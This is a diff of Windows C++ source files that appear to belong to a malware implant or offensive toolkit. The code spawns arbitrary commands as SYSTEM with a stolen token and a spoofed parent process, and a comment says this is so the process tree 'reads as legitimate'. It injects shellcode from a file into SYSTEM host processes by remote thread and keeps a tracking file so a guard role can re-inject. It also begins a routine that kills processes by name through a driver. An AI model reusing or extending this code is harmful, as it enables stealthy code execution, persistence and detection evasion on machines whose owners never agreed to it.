|
{
|
||||||
|
DWORD session = WTSGetActiveConsoleSessionId();
|
||||||
|
SetTokenInformation(primary, TokenSessionId, &session, sizeof(session));
|
||||||
|
result.sessionId = session;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
DWORD session = 0;
|
||||||
|
DWORD len = sizeof(session);
|
||||||
|
|
||||||
|
if (GetTokenInformation(primary, TokenSessionId, &session, len, &len))
|
||||||
|
result.sessionId = session;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hostToken)
|
||||||
|
CloseHandle(hostToken);
|
||||||
|
|
||||||
|
if (!primary)
|
||||||
|
{
|
||||||
|
CloseHandle(host);
|
||||||
|
result.error = L"cannot duplicate host token: " + std::to_wstring(GetLastError());
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
STARTUPINFOEXW si{};
|
||||||
|
si.StartupInfo.cb = sizeof(si);
|
||||||
|
|
||||||
|
SIZE_T attrSize = 0;
|
||||||
|
InitializeProcThreadAttributeList(nullptr, 1, 0, &attrSize);
|
||||||
|
|
||||||
|
std::vector<BYTE> attrBuf(attrSize);
|
||||||
|
si.lpAttributeList = reinterpret_cast<LPPROC_THREAD_ATTRIBUTE_LIST>(attrBuf.data());
|
||||||
|
|
||||||
|
bool started = false;
|
||||||
|
|
||||||
|
if (InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize))
|
||||||
|
{
|
||||||
|
if (UpdateProcThreadAttribute(
|
||||||
|
si.lpAttributeList,
|
||||||
|
0,
|
||||||
|
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
|
||||||
|
&host,
|
||||||
|
sizeof(host),
|
||||||
|
nullptr,
|
||||||
|
nullptr))
|
||||||
|
{
|
||||||
|
if (userSession)
|
||||||
|
si.StartupInfo.lpDesktop = const_cast<LPWSTR>(L"winsta0\\default");
|
||||||
|
|
||||||
|
LPVOID env = nullptr;
|
||||||
|
CreateEnvironmentBlock(&env, primary, FALSE);
|
||||||
|
|
||||||
|
std::wstring mutableCmd = commandLine;
|
||||||
|
PROCESS_INFORMATION pi{};
|
||||||
|
|
||||||
|
started = CreateProcessAsUserW(
|
||||||
|
primary,
|
||||||
|
nullptr,
|
||||||
|
mutableCmd.data(),
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
FALSE,
|
||||||
|
EXTENDED_STARTUPINFO_PRESENT | CREATE_UNICODE_ENVIRONMENT,
|
||||||
|
env,
|
||||||
|
nullptr,
|
||||||
|
&si.StartupInfo,
|
||||||
|
&pi) != FALSE;
|
||||||
|
|
||||||
|
if (started)
|
||||||
|
{
|
||||||
|
result.ok = true;
|
||||||
|
result.pid = pi.dwProcessId;
|
||||||
|
result.parentPid = chosen->pid;
|
||||||
|
result.method = L"host-token+ppid";
|
||||||
|
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
result.error = L"CreateProcessAsUser failed: " +
|
||||||
|
std::to_wstring(GetLastError());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (env)
|
||||||
|
DestroyEnvironmentBlock(env);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
result.error = L"UpdateProcThreadAttribute failed: " +
|
||||||
|
std::to_wstring(GetLastError());
|
||||||
|
}
|
||||||
|
|
||||||
|
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
result.error = L"InitializeProcThreadAttributeList failed: " +
|
||||||
|
std::to_wstring(GetLastError());
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(primary);
|
||||||
|
CloseHandle(host);
|
||||||
|
|
||||||
|
Log(L"[host] spawn %s -> pid=%lu parent=%lu host=%s ok=%d %s",
|
||||||
|
commandLine.c_str(),
|
||||||
|
result.pid,
|
||||||
|
result.parentPid,
|
||||||
|
result.hostImage.c_str(),
|
||||||
|
result.ok ? 1 : 0,
|
||||||
|
result.error.c_str());
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring FormatHostList(const std::vector<HostInfo>& hosts)
|
||||||
|
{
|
||||||
|
std::wostringstream os;
|
||||||
|
|
||||||
|
os << L"hosts=" << hosts.size();
|
||||||
|
|
||||||
|
size_t shown = 0;
|
||||||
|
|
||||||
|
for (const auto& h : hosts)
|
||||||
|
{
|
||||||
|
if (shown >= 15)
|
||||||
|
{
|
||||||
|
os << L"\r\n ...";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
++shown;
|
||||||
|
|
||||||
|
os << L"\r\n " << h.pid
|
||||||
|
<< L" session=" << h.sessionId
|
||||||
|
<< L" score=" << h.score
|
||||||
|
<< L" system=" << (h.systemToken ? 1 : 0)
|
||||||
|
<< L" injectable=" << (h.injectable ? 1 : 0)
|
||||||
|
<< L" " << h.imageName;
|
||||||
|
}
|
||||||
|
|
||||||
|
return os.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring FormatSpawnResult(const SpawnResult& r)
|
||||||
|
{
|
||||||
|
if (!r.ok)
|
||||||
|
return L"ERR " + (r.error.empty() ? std::wstring(L"spawn failed") : r.error);
|
||||||
|
|
||||||
|
std::wostringstream os;
|
||||||
|
|
||||||
|
os << L"OK pid=" << r.pid
|
||||||
|
<< L" parent=" << r.parentPid
|
||||||
|
<< L" session=" << r.sessionId;
|
||||||
|
|
||||||
|
if (!r.hostImage.empty())
|
||||||
|
os << L" host=" << r.hostImage;
|
||||||
|
|
||||||
|
if (!r.method.empty())
|
||||||
|
os << L" method=" << r.method;
|
||||||
|
|
||||||
|
return os.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
+53
@@ -0,0 +1,53 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
struct HostInfo
|
||||||
|
{
|
||||||
|
DWORD pid = 0;
|
||||||
|
DWORD sessionId = 0;
|
||||||
|
std::wstring imagePath;
|
||||||
|
std::wstring imageName;
|
||||||
|
bool systemToken = false; // token SID is S-1-5-18
|
||||||
|
bool injectable = false; // not PPL-protected, thread/VM rights available
|
||||||
|
int score = 0; // higher = better host candidate
|
||||||
|
};
|
||||||
|
|
||||||
|
struct SpawnResult
|
||||||
|
{
|
||||||
|
bool ok = false;
|
||||||
|
DWORD pid = 0;
|
||||||
|
DWORD parentPid = 0;
|
||||||
|
DWORD sessionId = 0;
|
||||||
|
std::wstring hostImage;
|
||||||
|
std::wstring method;
|
||||||
|
std::wstring error;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Enumerates processes that hold a SYSTEM token, sorted best-first.
|
||||||
|
std::vector<HostInfo> EnumerateSystemHosts();
|
||||||
|
|
||||||
|
// Same enumeration, optionally including non-SYSTEM hosts. Used for testing the
|
||||||
|
// token/parent plumbing without elevation.
|
||||||
|
std::vector<HostInfo> EnumerateHosts(bool requireSystem);
|
||||||
|
|
||||||
|
// Starts an arbitrary command as SYSTEM, with the chosen host as its parent
|
||||||
|
// process. The child carries the host's token, so the process tree reads as
|
||||||
|
// legitimate: svchost.exe -> your program.
|
||||||
|
//
|
||||||
|
// preferredImage may be empty; pass "svchost.exe" to force that host family.
|
||||||
|
// userSession = true moves the child into the active console session so a GUI
|
||||||
|
// appears on the logged-in desktop.
|
||||||
|
SpawnResult SpawnThroughHost(
|
||||||
|
const std::wstring& commandLine,
|
||||||
|
const std::wstring& preferredImage,
|
||||||
|
bool userSession,
|
||||||
|
bool requireSystem = true);
|
||||||
|
|
||||||
|
// One-line summary for command ACKs.
|
||||||
|
std::wstring FormatHostList(const std::vector<HostInfo>& hosts);
|
||||||
|
std::wstring FormatSpawnResult(const SpawnResult& r);
|
||||||
|
|
||||||
+367
@@ -0,0 +1,367 @@
|
|||||||
|
#include "Common.h"
|
||||||
|
#include "HostStager.h"
|
||||||
|
#include "HostSpawn.h"
|
||||||
|
#include "ShellcodeUtils.h"
|
||||||
|
#include "Logger.h"
|
||||||
|
#include "Paths.h"
|
||||||
|
|
||||||
|
#include <sstream>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
static std::string ToUtf8(const std::wstring& w)
|
||||||
|
{
|
||||||
|
if (w.empty())
|
||||||
|
return std::string();
|
||||||
|
|
||||||
|
int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr);
|
||||||
|
|
||||||
|
if (need <= 0)
|
||||||
|
return std::string();
|
||||||
|
|
||||||
|
std::string out(need, '\0');
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr);
|
||||||
|
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::wstring FromUtf8(const std::string& s)
|
||||||
|
{
|
||||||
|
if (s.empty())
|
||||||
|
return std::wstring();
|
||||||
|
|
||||||
|
int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0);
|
||||||
|
|
||||||
|
if (need <= 0)
|
||||||
|
return std::wstring();
|
||||||
|
|
||||||
|
std::wstring out(need, L'\0');
|
||||||
|
MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need);
|
||||||
|
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::wstring TrackPath()
|
||||||
|
{
|
||||||
|
return ArdrvStatePath();
|
||||||
|
}
|
||||||
|
|
||||||
|
bool GetProcessCreateTime(DWORD pid, unsigned long long& out)
|
||||||
|
{
|
||||||
|
out = 0;
|
||||||
|
|
||||||
|
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||||
|
|
||||||
|
if (!h)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
FILETIME created{}, exited{}, kernel{}, user{};
|
||||||
|
|
||||||
|
bool ok = GetProcessTimes(h, &created, &exited, &kernel, &user) != FALSE;
|
||||||
|
|
||||||
|
CloseHandle(h);
|
||||||
|
|
||||||
|
if (!ok)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
ULARGE_INTEGER u{};
|
||||||
|
u.LowPart = created.dwLowDateTime;
|
||||||
|
u.HighPart = created.dwHighDateTime;
|
||||||
|
out = u.QuadPart;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool HostStillAlive(const HostTrack& track)
|
||||||
|
{
|
||||||
|
if (track.pid == 0)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
unsigned long long created = 0;
|
||||||
|
|
||||||
|
if (!GetProcessCreateTime(track.pid, created))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (track.creationTime != 0 && created != track.creationTime)
|
||||||
|
return false; // PID was recycled into a different process
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
HostTrack LoadHostTrack()
|
||||||
|
{
|
||||||
|
HostTrack t;
|
||||||
|
|
||||||
|
std::wstring trackFile = TrackPath();
|
||||||
|
|
||||||
|
// One-time migration from the old flat layout.
|
||||||
|
if (GetFileAttributesW(trackFile.c_str()) == INVALID_FILE_ATTRIBUTES)
|
||||||
|
{
|
||||||
|
std::wstring legacy = ArdrvLegacyStatePath();
|
||||||
|
|
||||||
|
if (GetFileAttributesW(legacy.c_str()) != INVALID_FILE_ATTRIBUTES)
|
||||||
|
{
|
||||||
|
EnsureDirExists(ArdrvRoot());
|
||||||
|
|
||||||
|
if (CopyFileW(legacy.c_str(), trackFile.c_str(), FALSE))
|
||||||
|
DeleteFileW(legacy.c_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE h = CreateFileW(
|
||||||
|
trackFile.c_str(),
|
||||||
|
GENERIC_READ,
|
||||||
|
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||||
|
nullptr,
|
||||||
|
OPEN_EXISTING,
|
||||||
|
0,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
if (h == INVALID_HANDLE_VALUE)
|
||||||
|
return t;
|
||||||
|
|
||||||
|
char buf[4096]{};
|
||||||
|
DWORD read = 0;
|
||||||
|
ReadFile(h, buf, sizeof(buf) - 1, &read, nullptr);
|
||||||
|
CloseHandle(h);
|
||||||
|
|
||||||
|
std::string text(buf, read);
|
||||||
|
std::wstring wide = FromUtf8(text);
|
||||||
|
|
||||||
|
std::wistringstream in(wide);
|
||||||
|
std::wstring line;
|
||||||
|
|
||||||
|
while (std::getline(in, line))
|
||||||
|
{
|
||||||
|
size_t eq = line.find(L'=');
|
||||||
|
|
||||||
|
if (eq == std::wstring::npos)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
std::wstring key = line.substr(0, eq);
|
||||||
|
std::wstring value = line.substr(eq + 1);
|
||||||
|
|
||||||
|
while (!value.empty() && (value.back() == L'\r' || value.back() == L'\n'))
|
||||||
|
value.pop_back();
|
||||||
|
|
||||||
|
if (key == L"pid")
|
||||||
|
t.pid = (DWORD)wcstoul(value.c_str(), nullptr, 10);
|
||||||
|
else if (key == L"created")
|
||||||
|
t.creationTime = _wcstoui64(value.c_str(), nullptr, 16);
|
||||||
|
else if (key == L"payload")
|
||||||
|
t.payload = value;
|
||||||
|
else if (key == L"host")
|
||||||
|
t.hostImage = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
return t;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool SaveHostTrack(const HostTrack& track)
|
||||||
|
{
|
||||||
|
std::wostringstream os;
|
||||||
|
|
||||||
|
os << L"pid=" << track.pid << L"\r\n";
|
||||||
|
|
||||||
|
wchar_t created[32]{};
|
||||||
|
swprintf_s(created, L"%016llx", track.creationTime);
|
||||||
|
os << L"created=" << created << L"\r\n";
|
||||||
|
|
||||||
|
os << L"payload=" << track.payload << L"\r\n";
|
||||||
|
os << L"host=" << track.hostImage << L"\r\n";
|
||||||
|
|
||||||
|
std::string bytes = ToUtf8(os.str());
|
||||||
|
|
||||||
|
HANDLE h = CreateFileW(
|
||||||
|
TrackPath().c_str(),
|
||||||
|
GENERIC_WRITE,
|
||||||
|
0,
|
||||||
|
nullptr,
|
||||||
|
CREATE_ALWAYS,
|
||||||
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
if (h == INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
Log(L"[-] SaveHostTrack: create failed: %lu", GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD written = 0;
|
||||||
|
BOOL ok = WriteFile(h, bytes.data(), (DWORD)bytes.size(), &written, nullptr);
|
||||||
|
CloseHandle(h);
|
||||||
|
|
||||||
|
return ok && written == bytes.size();
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ClearHostTrack()
|
||||||
|
{
|
||||||
|
return DeleteFileW(TrackPath().c_str()) != FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
HostInjectResult InjectShellcodeIntoHost(
|
||||||
|
const std::wstring& shellcodePath,
|
||||||
|
const std::wstring& preferredImage,
|
||||||
|
bool requireSystem)
|
||||||
|
{
|
||||||
|
HostInjectResult result;
|
||||||
|
|
||||||
|
if (shellcodePath.empty())
|
||||||
|
{
|
||||||
|
result.error = L"no shellcode path";
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring full = shellcodePath;
|
||||||
|
wchar_t abs[4096]{};
|
||||||
|
|
||||||
|
if (GetFullPathNameW(shellcodePath.c_str(), _countof(abs), abs, nullptr))
|
||||||
|
full = abs;
|
||||||
|
|
||||||
|
std::vector<BYTE> payload;
|
||||||
|
|
||||||
|
if (!ReadFileToMemory(full.c_str(), payload))
|
||||||
|
{
|
||||||
|
result.error = L"cannot read shellcode: " + full;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<HostInfo> hosts = EnumerateHosts(requireSystem);
|
||||||
|
|
||||||
|
HostInfo* chosen = nullptr;
|
||||||
|
|
||||||
|
for (auto& h : hosts)
|
||||||
|
{
|
||||||
|
if (!h.injectable)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
if (requireSystem && !h.systemToken)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
if (!preferredImage.empty() &&
|
||||||
|
_wcsicmp(h.imageName.c_str(), preferredImage.c_str()) != 0)
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
chosen = &h;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!chosen)
|
||||||
|
{
|
||||||
|
result.error = hosts.empty()
|
||||||
|
? L"no host process found (need admin or SYSTEM)"
|
||||||
|
: L"no injectable host available";
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned long long created = 0;
|
||||||
|
|
||||||
|
if (!GetProcessCreateTime(chosen->pid, created))
|
||||||
|
{
|
||||||
|
result.error = L"cannot read host creation time";
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!InjectShellcodeIntoExisting(chosen->pid, payload.data(), payload.size()))
|
||||||
|
{
|
||||||
|
result.error = L"injection failed into " + chosen->imageName;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
result.ok = true;
|
||||||
|
result.hostPid = chosen->pid;
|
||||||
|
result.hostSession = chosen->sessionId;
|
||||||
|
result.creationTime = created;
|
||||||
|
result.hostImage = chosen->imagePath;
|
||||||
|
result.method = L"remote-thread";
|
||||||
|
|
||||||
|
HostTrack track;
|
||||||
|
track.pid = result.hostPid;
|
||||||
|
track.creationTime = created;
|
||||||
|
track.payload = full;
|
||||||
|
track.hostImage = result.hostImage;
|
||||||
|
|
||||||
|
if (!SaveHostTrack(track))
|
||||||
|
result.method += L"+track-failed";
|
||||||
|
|
||||||
|
Log(L"[host] injected %s into %s pid=%lu",
|
||||||
|
full.c_str(),
|
||||||
|
result.hostImage.c_str(),
|
||||||
|
result.hostPid);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
HostInjectResult EnsureHostInjected(bool requireSystem)
|
||||||
|
{
|
||||||
|
HostInjectResult result;
|
||||||
|
|
||||||
|
HostTrack track = LoadHostTrack();
|
||||||
|
|
||||||
|
if (!track.Tracked())
|
||||||
|
{
|
||||||
|
result.error = L"no host payload configured";
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (HostStillAlive(track))
|
||||||
|
{
|
||||||
|
result.ok = true;
|
||||||
|
result.hostPid = track.pid;
|
||||||
|
result.creationTime = track.creationTime;
|
||||||
|
result.hostImage = track.hostImage;
|
||||||
|
result.method = L"already-running";
|
||||||
|
|
||||||
|
DWORD session = 0;
|
||||||
|
|
||||||
|
if (ProcessIdToSessionId(track.pid, &session))
|
||||||
|
result.hostSession = session;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log(L"[host] previous host gone (pid=%lu), re-injecting", track.pid);
|
||||||
|
|
||||||
|
result = InjectShellcodeIntoHost(track.payload, L"", requireSystem);
|
||||||
|
|
||||||
|
if (!result.ok)
|
||||||
|
Log(L"[-] host re-inject failed: %s", result.error.c_str());
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring FormatInjectResult(const HostInjectResult& r)
|
||||||
|
{
|
||||||
|
if (!r.ok)
|
||||||
|
return L"ERR " + (r.error.empty() ? std::wstring(L"inject failed") : r.error);
|
||||||
|
|
||||||
|
std::wostringstream os;
|
||||||
|
|
||||||
|
os << L"OK host_pid=" << r.hostPid
|
||||||
|
<< L" session=" << r.hostSession
|
||||||
|
<< L" method=" << r.method;
|
||||||
|
|
||||||
|
if (!r.hostImage.empty())
|
||||||
|
os << L" host=" << r.hostImage;
|
||||||
|
|
||||||
|
return os.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring FormatHostTrack(const HostTrack& t)
|
||||||
|
{
|
||||||
|
if (!t.Tracked())
|
||||||
|
return L"track=none";
|
||||||
|
|
||||||
|
std::wostringstream os;
|
||||||
|
|
||||||
|
os << L"track pid=" << t.pid
|
||||||
|
<< L" alive=" << (HostStillAlive(t) ? 1 : 0)
|
||||||
|
<< L" payload=" << t.payload;
|
||||||
|
|
||||||
|
if (!t.hostImage.empty())
|
||||||
|
os << L" host=" << t.hostImage;
|
||||||
|
|
||||||
|
return os.str();
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
struct HostInjectResult
|
||||||
|
{
|
||||||
|
bool ok = false;
|
||||||
|
DWORD hostPid = 0;
|
||||||
|
DWORD hostSession = 0;
|
||||||
|
unsigned long long creationTime = 0;
|
||||||
|
std::wstring hostImage;
|
||||||
|
std::wstring method;
|
||||||
|
std::wstring error;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct HostTrack
|
||||||
|
{
|
||||||
|
DWORD pid = 0;
|
||||||
|
unsigned long long creationTime = 0;
|
||||||
|
std::wstring payload;
|
||||||
|
std::wstring hostImage;
|
||||||
|
|
||||||
|
bool Tracked() const { return pid != 0 && !payload.empty(); }
|
||||||
|
};
|
||||||
|
|
||||||
|
// Injects the shellcode at 'shellcodePath' into the best SYSTEM host process.
|
||||||
|
// Identity is recorded (pid + creation time) so a recycled PID is never treated
|
||||||
|
// as the same host.
|
||||||
|
HostInjectResult InjectShellcodeIntoHost(
|
||||||
|
const std::wstring& shellcodePath,
|
||||||
|
const std::wstring& preferredImage,
|
||||||
|
bool requireSystem);
|
||||||
|
|
||||||
|
// True when the tracked pid still exists AND its creation time matches, which
|
||||||
|
// rejects PID reuse.
|
||||||
|
bool HostStillAlive(const HostTrack& track);
|
||||||
|
|
||||||
|
bool GetProcessCreateTime(DWORD pid, unsigned long long& out);
|
||||||
|
|
||||||
|
HostTrack LoadHostTrack();
|
||||||
|
bool SaveHostTrack(const HostTrack& track);
|
||||||
|
bool ClearHostTrack();
|
||||||
|
|
||||||
|
// Used by the guard role: re-injects only when the previous host is gone.
|
||||||
|
HostInjectResult EnsureHostInjected(bool requireSystem = true);
|
||||||
|
|
||||||
|
std::wstring FormatInjectResult(const HostInjectResult& r);
|
||||||
|
std::wstring FormatHostTrack(const HostTrack& t);
|
||||||
+451
@@ -0,0 +1,451 @@
|
|||||||
|
#include "Common.h"
|
||||||
|
#include "KillSafety.h"
|
||||||
|
#include "DriverClient.h"
|
||||||
|
#include "Logger.h"
|
||||||
|
|
||||||
|
#include <algorithm>
|
||||||
|
#include <cwctype>
|
||||||
|
#include <set>
|
||||||
|
#include <sstream>
|
||||||
|
|
||||||
|
static std::wstring Lower(const std::wstring& s)
|
||||||
|
{
|
||||||
|
std::wstring out = s;
|
||||||
|
|
||||||
|
for (auto& c : out)
|
||||||
|
c = (wchar_t)towlower(c);
|
||||||
|
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::wstring BaseNameFromPath(const std::wstring& path)
|
||||||
|
{
|
||||||
|
size_t slash = path.find_last_of(L"\\/");
|
||||||
|
|
||||||
|
if (slash == std::wstring::npos)
|
||||||
|
return path;
|
||||||
|
|
||||||
|
return path.substr(slash + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool IsProtectedImage(const std::wstring& imageName)
|
||||||
|
{
|
||||||
|
static const wchar_t* protectedImages[] =
|
||||||
|
{
|
||||||
|
// Kernel / session manager / critical subsystems. Terminate any of
|
||||||
|
// these and the machine bugchecks immediately.
|
||||||
|
L"system",
|
||||||
|
L"registry",
|
||||||
|
L"memcompression",
|
||||||
|
L"smss.exe",
|
||||||
|
L"csrss.exe",
|
||||||
|
L"wininit.exe",
|
||||||
|
L"winlogon.exe",
|
||||||
|
L"services.exe",
|
||||||
|
L"lsass.exe",
|
||||||
|
L"svchost.exe",
|
||||||
|
L"fontdrvhost.exe",
|
||||||
|
L"dwm.exe",
|
||||||
|
L"wudfhost.exe",
|
||||||
|
L"sihost.exe",
|
||||||
|
L"ctfmon.exe",
|
||||||
|
L"explorer.exe",
|
||||||
|
L"taskhostw.exe",
|
||||||
|
L"logonui.exe",
|
||||||
|
L"userinit.exe",
|
||||||
|
L"wininit.exe",
|
||||||
|
L"spoolsv.exe",
|
||||||
|
L"audiodg.exe",
|
||||||
|
L"conhost.exe",
|
||||||
|
L"sshd.exe",
|
||||||
|
};
|
||||||
|
|
||||||
|
const std::wstring lower = Lower(imageName);
|
||||||
|
|
||||||
|
for (const wchar_t* p : protectedImages)
|
||||||
|
{
|
||||||
|
if (lower == Lower(p))
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Collect our own pid and every ancestor up to the root.
|
||||||
|
static std::set<DWORD> SelfAndAncestors()
|
||||||
|
{
|
||||||
|
std::set<DWORD> result;
|
||||||
|
|
||||||
|
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
|
||||||
|
if (snap == INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
result.insert(GetCurrentProcessId());
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<std::pair<DWORD, DWORD>> links; // pid -> parent pid
|
||||||
|
PROCESSENTRY32W pe{};
|
||||||
|
pe.dwSize = sizeof(pe);
|
||||||
|
|
||||||
|
if (Process32First(snap, &pe))
|
||||||
|
{
|
||||||
|
do
|
||||||
|
{
|
||||||
|
links.push_back({ pe.th32ProcessID, pe.th32ParentProcessID });
|
||||||
|
} while (Process32Next(snap, &pe));
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(snap);
|
||||||
|
|
||||||
|
DWORD cur = GetCurrentProcessId();
|
||||||
|
|
||||||
|
for (int depth = 0; depth < 16 && cur != 0; ++depth)
|
||||||
|
{
|
||||||
|
if (!result.insert(cur).second)
|
||||||
|
break;
|
||||||
|
|
||||||
|
DWORD parent = 0;
|
||||||
|
|
||||||
|
for (const auto& link : links)
|
||||||
|
{
|
||||||
|
if (link.first == cur)
|
||||||
|
{
|
||||||
|
parent = link.second;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
cur = parent;
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::vector<DWORD> PidsForImage(const std::wstring& imageName)
|
||||||
|
{
|
||||||
|
std::vector<DWORD> pids;
|
||||||
|
|
||||||
|
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
|
||||||
|
if (snap == INVALID_HANDLE_VALUE)
|
||||||
|
return pids;
|
||||||
|
|
||||||
|
PROCESSENTRY32W pe{};
|
||||||
|
pe.dwSize = sizeof(pe);
|
||||||
|
|
||||||
|
if (Process32First(snap, &pe))
|
||||||
|
{
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if (_wcsicmp(pe.szExeFile, imageName.c_str()) == 0)
|
||||||
|
pids.push_back(pe.th32ProcessID);
|
||||||
|
} while (Process32Next(snap, &pe));
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(snap);
|
||||||
|
return pids;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool KillReport::Refused(KillOutcome o) const
|
||||||
|
{
|
||||||
|
return o == KillOutcome::Protected ||
|
||||||
|
o == KillOutcome::SelfOrAncestor ||
|
||||||
|
o == KillOutcome::IdentityMismatch;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring KillReport::Format() const
|
||||||
|
{
|
||||||
|
std::wostringstream os;
|
||||||
|
|
||||||
|
os << (dryRun ? L"DRY-RUN" : L"EXECUTED")
|
||||||
|
<< L" killed=" << killed
|
||||||
|
<< L" candidates=" << attempts.size();
|
||||||
|
|
||||||
|
const size_t maxLines = 30;
|
||||||
|
size_t shown = 0;
|
||||||
|
|
||||||
|
for (const auto& a : attempts)
|
||||||
|
{
|
||||||
|
if (shown >= maxLines)
|
||||||
|
{
|
||||||
|
os << L"\r\n ... " << (attempts.size() - shown) << L" more";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
++shown;
|
||||||
|
|
||||||
|
const wchar_t* state = L"?";
|
||||||
|
|
||||||
|
switch (a.outcome)
|
||||||
|
{
|
||||||
|
case KillOutcome::WouldKill: state = L"would-kill"; break;
|
||||||
|
case KillOutcome::Killed: state = L"killed"; break;
|
||||||
|
case KillOutcome::Protected: state = L"SKIP protected"; break;
|
||||||
|
case KillOutcome::SelfOrAncestor: state = L"SKIP own-tree"; break;
|
||||||
|
case KillOutcome::IdentityMismatch:state = L"SKIP identity"; break;
|
||||||
|
case KillOutcome::OpenFailed: state = L"skip open-failed"; break;
|
||||||
|
case KillOutcome::AccessDenied: state = L"SKIP access-denied(needs SYSTEM or PPL)"; break;
|
||||||
|
case KillOutcome::DriverFailed: state = L"driver-failed"; break;
|
||||||
|
}
|
||||||
|
|
||||||
|
os << L"\r\n " << a.pid << L" " << state;
|
||||||
|
|
||||||
|
if (!a.imagePath.empty())
|
||||||
|
os << L" " << a.imagePath;
|
||||||
|
}
|
||||||
|
|
||||||
|
return os.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
void KillProcessesSafe(
|
||||||
|
const std::vector<std::wstring>& imageNames,
|
||||||
